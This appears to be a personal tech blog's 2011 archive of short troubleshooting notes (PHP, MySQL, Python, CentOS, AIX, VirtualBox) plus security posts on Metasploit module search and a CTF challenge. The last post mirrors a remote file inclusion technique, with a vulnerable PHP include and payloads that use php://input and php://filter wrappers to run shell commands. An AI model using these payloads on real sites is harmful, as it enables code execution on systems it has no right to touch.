Showing posts from 2011

mysql_fetch_assoc(): 4 is not a valid MySQL result resource in

mysql_fetch_assoc(): 4 is not a valid MySQL result resource in

So received the error during a programming spree.
quite blank at first.
googled but majority of the results are cause of worngly "submitted argument"

mine, it was correct. found solution here :
i did a loop for displaying results as below:

while (#row=mysql_fetch_assoc()$result_from_queyr){

  //display ans here


the mistake was palcement of mysql_free_result. it shud be AFTER the while loop. -__-" demkit.


Using sed to remove empty lines

sed '/^$/d' myFile > tt 
mv tt myFile



Fatal error: Cannot access empty property in /var/www/html//regForm_process.php on line 9

This is te code:

$i = 1;
foreach($_GET as $name->$value)
    echo 'GET '.$i.': '.$name.' and VALUE = '.$value.'

Basically i wanted to get all the variables,a nd assign them as a var to be fed to a mysql insert query.
But the code above is jusr P0C. When called/runned, get this error"

Fatal error: Cannot access empty property in /var/www/html/regForm_process.php on line 9

The fix? easy. change the ' -> ' to become ' => ' As easy as that -______-"
Hope this helps someone.


BackTrack 4 sources.list - BT5

For anyone still stuck at BT4 and can't update their apps, use this sources:

deb revolution main microverse non-free testing
deb revolution main microverse non-free testing
deb revolution main microverse non-free testing


Python: thread.error: can't start new thread

So the case is this: i have a python script that listens on certain port for a connection, and when a client connects, it acts as a tcp forwarder, forwarding connections accordingly. somehow, the script throws exception after few connection:

Unhandled exception in thread started by Traceback (most recent call last):   File "", line 55, in server_thread     thread.start_new_thread(forward_client, (client_socket, server_socket)) thread.error: can't start new thread

Damn it! so i do what all people been doing, i Google.

From below two URL, i was able to understand the situation and came up with the solution:


Tsunanet states that memory allocation might be the issue. Sort of like where my RAM is not enough for all the threading happening. So acting l33t …

Parser Error Message: Could not load file or assembly 'Microsoft.Web.Services3, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. The system cannot find the file specified.

The issue was because the Micrsoft Web Services Enhacement toolkit was not installed.

link is here:

That solved it.



ImportError: Can't load a json library while easy_install Tweepy

was playing with these:


Was trying to install Tweepy library for python.
Encountered below:

1) yum install python-setuptools -y [success]
2) easy_install tweepy [success]
3) Made a simple script, trying to make use of Tweepy [Failed]

so tried to easy_install simplejson, also failed:
[root@chi alakClient]# easy_install simplejson
Searching for simplejson
Best match: simplejson 2.1.6
Processing simplejson-2.1.6.tar.gz
Running simplejson-2.1.6/ -q bdist_egg --dist-dir /tmp/easy_install-mEH9fn/simplejson-2.1.6/egg-dist-tmp-2qtieS

ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/opt/local/var/run/mysql5/mysqld.sock' (2)

Installed mysql 4 from dmg ackage, 64 bit.
started mysqld from preferences, but when trying to connect received this error:

MyCOmp~ # mysql5 -uroot
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/opt/local/var/run/mysql5/mysqld.sock' (38)

The issue? well, few things:

1) make sure the /opt/local/var/run/mysql5/ directory does exist.
2) make sure proper permission, for write purpose for mysql user: sudo chown mysql:admin /opt/local/var/run/mysql5/
3) create and softlink it to proper places. which in my case, i took example of my.cnf from /opt/local/share/mysql5/mysql/my-small.cnf then after renaming it to /opt/local/etc/mysql/my.cnf. i then softlink this to /etc/mysql/my.cnf. Note that you might need to create the directory /etc/mysql

And then it works like a charm. :)


Word 2007: Numbering for Thesis and Dissertation

Well, its for library, but nevertheless, knowledge is knowledge. A reminder to self.


Transmission on a CentOS

So its my time to set up my own Transmission.
Yeah, late, but still, yeah.. just leave me alone will yeah. >.<

List of references:

I have a 32-bit Centos 5:

[root@chi /]# uname -a
Linux chi 2.6.18-238.9.1.el5.pony5-1 #3 SMP Fri Jun 3 16:37:31 PDT 2011 i686 i686 i386 GNU/Linux
[root@chi /]#

So first i went and download all five of those transmission 2.31 daemon + cli from LINK (1) of my referense list. However, just incase, i mirrored them here :

Next, as per the instructions, i import the GPG key, and instaled all the RPMs:

[root@chi trans]# rpm --import
[root@chi trans]# rpm -ivh libevent-2.0.10-1geekery.$(uname -i).rpm
Preparing... ###########…

AIX : Check Process occupying a port

Ripped from here, for my own reminder:

a. Show if the specified is being used. The hex number in the first column of the result is the address of protocol control block (PCB):

#netstat -Aan | grep Port_Number

b. Dsiplay the process who is holding the socket:

#rmsock Address_of_PCB tcpcb

Note: That rmsock, unlike what its name implies, does not remove the socket, if the socket is being used by any process. Instead of removing the socket, it just reports the process holding the socket. Also note that the second argument of rmsock is the protocol. It’s tcpcb in the example to indicate that the protocol is TCP.

#netstat -Aan | grep 23
f10000f3019c9b58 tcp 0 0 *.23 *.* LISTEN
#rmsock f10000f3019c9b58 tcpcb
The socket 0x19c9800 is being held by proccess 278614 (inetd).
#ps -lp 278614
240001 A 0 278614 364626 0 60 20 d121a400 468 – 0:00 inetd

That's all for today. Th…

Wargamesmy 2011 - Binary100

This is a very cilake ayam challenge. kudos to p0pc0rn for guiding me.


1) execute the binary with interval of 1 second.
2) get the strings and order it accordingly by the numbering on most left.
3) Its a fscking ASCHII art! demkit ayam!

And where is the fscking flag? Here:



Error: Cannot register the hard disk 'slave-template.vdi' {43fdc3ab-a37e-4508-8355-3333c43ca395} because a hard disk 'template.vdi' with UUID {43fdc3ab-a37e-4508-8355-3333c43ca395} already exists

Virtual Box for Mac, encountered and error saying imported vdi file existed with spesific UUID.
Error when trying to import existing .vdi harddisk files in Virtual Box. Reason is because each vdi (harddisk) is tag with a unique UID, thus can't be replicated.
BUT, you can clone it.
OOn Mac OS X, Virtual Box comes with a cloning utility. Open Terminal and enter below:
VBoxManage clonehd <old.vdi> <new.vdi>
and it wil be clone accordingly. :)

Searching exploit modules in Metasploit

Quoted from HD Moore from Metasploit framework mailing list:

The still-not-documented-keyword-system is much more flexible (and
slower), but takes the following options:

name Search within the module's descriptive name name:Microsoft
path Search within the module's path name path:windows/smb
platform Search for modules affecting this platform/target platform:linux
type Search for modules that are of a specific type (exploit,
auxiliary, or post) type:exploit
app Search for modules that are either client or server attacks app:client
author Search for modules written by author author:hdm
cve Search for modules with a matching CVE ID cve:2009
bid Search for modules with a matching Bugtraq ID bid:10078
osvdb Search for modules with a matching OSVDB ID osvdb:875

Simple search by BID:

And another using PLATFORM directive:

It may be not that perfect yet: but it works! :

A very big kudos to HDM :)


IPv6 In Practical: Pentester's View

Original post here :

Rick Hayes - Assessing and Pen-Testing IPv6 Networks from Adrian Crenshaw on Vimeo.


Self Contained RFI in PHP

This is a direct rip from here : It is for my own record, and can be seen as a mirror. :)

Sometimes those two tricks may be useful in RFI attacks.

1. Using php://input wrapper

php://input wrapper allows you to read raw POST data (

For example, there is such code: sini2

if ( include($_GET['file'] . '.php') ) {
echo 'Henck!'; } else {
echo 'Error!'; }

For exploitation we need:




<?php passthru('dir'); ?>

Also using additional php://filter wrapper (available since PHP 5.0.0) we can encode our php code:


<?php passthru('dir'); ?>

2. Using data: wrapper

Since version 5.2.0 PHP supports "data" …